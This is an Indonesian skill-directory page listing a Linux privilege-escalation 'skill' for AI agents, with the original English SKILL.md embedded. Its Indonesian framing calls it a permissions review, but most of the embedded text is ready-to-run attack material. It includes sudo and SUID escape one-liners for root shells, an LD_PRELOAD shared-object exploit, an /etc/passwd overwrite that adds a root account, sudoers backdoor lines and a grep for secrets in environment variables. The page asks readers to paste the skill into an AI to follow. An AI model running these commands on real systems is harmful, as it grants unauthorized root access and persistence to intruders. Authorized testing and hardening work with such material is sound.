Langsung ke konten
Skillpedia
Keamanan6.5k Β· #14135

linux-privesc-enum

Fungsinya

Panduan ini mencantumkan urutan peninjauan pengaturan hak istimewa Linux. Panduan ini untuk administrator sistem dan penguji resmi yang perlu menemukan pengaturan izin yang lemah.

Kapan dipakai

  • βœ“Saat administrator sistem ingin meninjau aturan sudo dan izin khusus pada server Linux.
  • βœ“Saat sebuah uji resmi memerlukan daftar periksa terstruktur untuk pengaturan hak istimewa lokal.
  • βœ“Saat sebuah tim ingin memastikan tugas terjadwal dan jalur yang bisa ditulis sudah aman.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah Anda memandu tinjauan hak istimewa server Linux kami, mulai dari aturan sudo dan izin khusus?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mengerjakan fase-fase secara berurutan, dari identitas dan detail sistem hingga aturan sudo, berkas izin khusus, tugas terjadwal, dan jalur yang bisa ditulis, lalu mencatat setiap pengaturan lemah.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Linux Privilege Escalation β€” Systematic Enumeration Methodology

Grounded in autonomous privesc research (Happe & Cito, ESEC/FSE 2023 β€” hackingBuddyGPT) which empirically validated that ordered, phase-driven enumeration with state tracking outperforms ad hoc command execution. Follow phases in priority order; stop at first exploitable finding and validate before moving to the next phase.

Authorized use only. Run only on systems you own or have explicit written permission to test.


Phase 0 β€” Situational Awareness (always first)

Establish identity, OS, and architecture before anything else. Every later phase depends on this context.

# Identity
id; whoami; groups; cat /proc/$$/status | grep -E 'Uid|Gid|Groups'

# OS and kernel
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/issue
cat /proc/version

# Environment
env | grep -iE 'path|home|sudo|pass|token|secret|key'
echo $PATH

# Network context (pivot potential)
ip addr show 2>/dev/null || ifconfig
ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
cat /etc/hosts

# Running processes (spot root services)
ps auxf 2>/dev/null | grep -v '\[' | head -40

Phase 1 β€” Sudo (highest yield, lowest noise)

Sudo misconfigurations are the most common finding in CTFs and enterprise systems alike.

sudo -l 2>/dev/null
# Parse output carefully:
# (root) NOPASSWD: /usr/bin/vim       β†’ vim -c ':!sh'
# (root) NOPASSWD: /usr/bin/python3   β†’ python3 -c 'import os; os.system("/bin/bash")'
# (root) NOPASSWD: /usr/bin/find      β†’ find / -exec /bin/sh \; -quit
# (root) NOPASSWD: /usr/bin/less      β†’ less /etc/shadow  then: !sh
# (root) NOPASSWD: /usr/bin/awk       β†’ awk 'BEGIN {system("/bin/sh")}'
# (root) NOPASSWD: /usr/bin/tar       β†’ tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# (root) NOPASSWD: /usr/bin/env       β†’ env /bin/sh
# (root) NOPASSWD: /usr/bin/zip       β†’ zip /tmp/x /tmp/x -T --unzip-command="sh -c /bin/sh"
# (root) NOPASSWD: /usr/bin/man       β†’ man man  then: !sh
# (root) NOPASSWD: /usr/bin/ftp       β†’ ftp  then: !sh
# (root) NOPASSWD: /bin/cp            β†’ overwrite /etc/passwd or /etc/sudoers
# (root) NOPASSWD: /usr/bin/tee       β†’ echo 'user ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/pwned

GTFOBins lookup workflow

For any allowed binary, check https://gtfobins.github.io/#<binary>?sudo β€” filter for "sudo" column.

Sudo env_keep abuse

# If sudoers contains: Defaults env_keep += "LD_PRELOAD"
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so <any_allowed_command>

Phase 2 β€” SUID / SGID Binaries

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null | sort

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null | sort

# Quick cross-reference against known GTFOBins SUID list
KNOWN_SUID=(bash sh dash find python python3 perl ruby php node env vim vi nano nmap curl wget cp mv tee tar zip less more man ftp ssh socat strace tcpdump openssl)
for bin in "${KNOWN_SUID[@]}"; do
    find / -name "$bin" -perm -4000 2>/dev/null
done

Common SUID exploitation patterns

# bash / sh with SUID β€” direct root shell
/bin/bash -p          # -p preserves effective UID

# find
/usr/bin/find / -name "x" -exec /bin/bash -p \; -quit

# python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# vim / vi
/usr/bin/vim -c ':python3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
# or simply:
/usr/bin/vim -c ':!bash -p'

# nmap (< 5.21 with --interactive)
/usr/bin/nmap --interactive   # then: !sh

# cp β€” overwrite /etc/passwd
openssl passwd -1 -salt salt hackme        # get hash
echo 'root2:$1$salt$<hash>:0:0:root:/root:/bin/bash' >> /tmp/newpasswd
/usr/bin/cp /tmp/newpasswd /etc/passwd
su root2  # password: hackme

# env
/usr/bin/env /bin/bash -p

# tee β€” append to sudoers
echo 'www-data ALL=(ALL) NOPASSWD: ALL' | /usr/bin/tee -a /etc/sudoers

Phase 3 β€” Linux Capabilities

Capabilities are frequently overlooked and often not caught by basic linPEAS runs on hardened systems.

getcap -r / 2>/dev/null
# High-value capabilities:
# cap_setuid+ep   β†’ direct UID 0
# cap_setgid+ep   β†’ direct GID 0
# cap_dac_read_search+ep β†’ re
Pertanyaan umum

Mengapa mengikuti urutan tetap?

Panduan ini menyatakan pemeriksaan berurutan lebih andal daripada perintah acak, dan masalah nyata pertama divalidasi sebelum lanjut.

Apa itu salah konfigurasi sudo?

Itu terjadi ketika pengguna diizinkan menjalankan program sebagai root dengan cara yang bisa disalahgunakan.

Siapa yang sebaiknya menjalankannya?

Administrator dan penguji resmi pada sistem yang mereka miliki atau berhak uji.

Detail

Deskripsi asli dari pembuat

Systematic Linux privilege-escalation enumeration methodology β€” ordered phases covering sudo, SUID/SGID, capabilities, cron, writable paths, NFS, kernel CVEs, and GTFOBins lookup, grounded in LLM-assisted autonomous privesc research (hackingBuddyGPT/ipa-lab).

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#14135
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa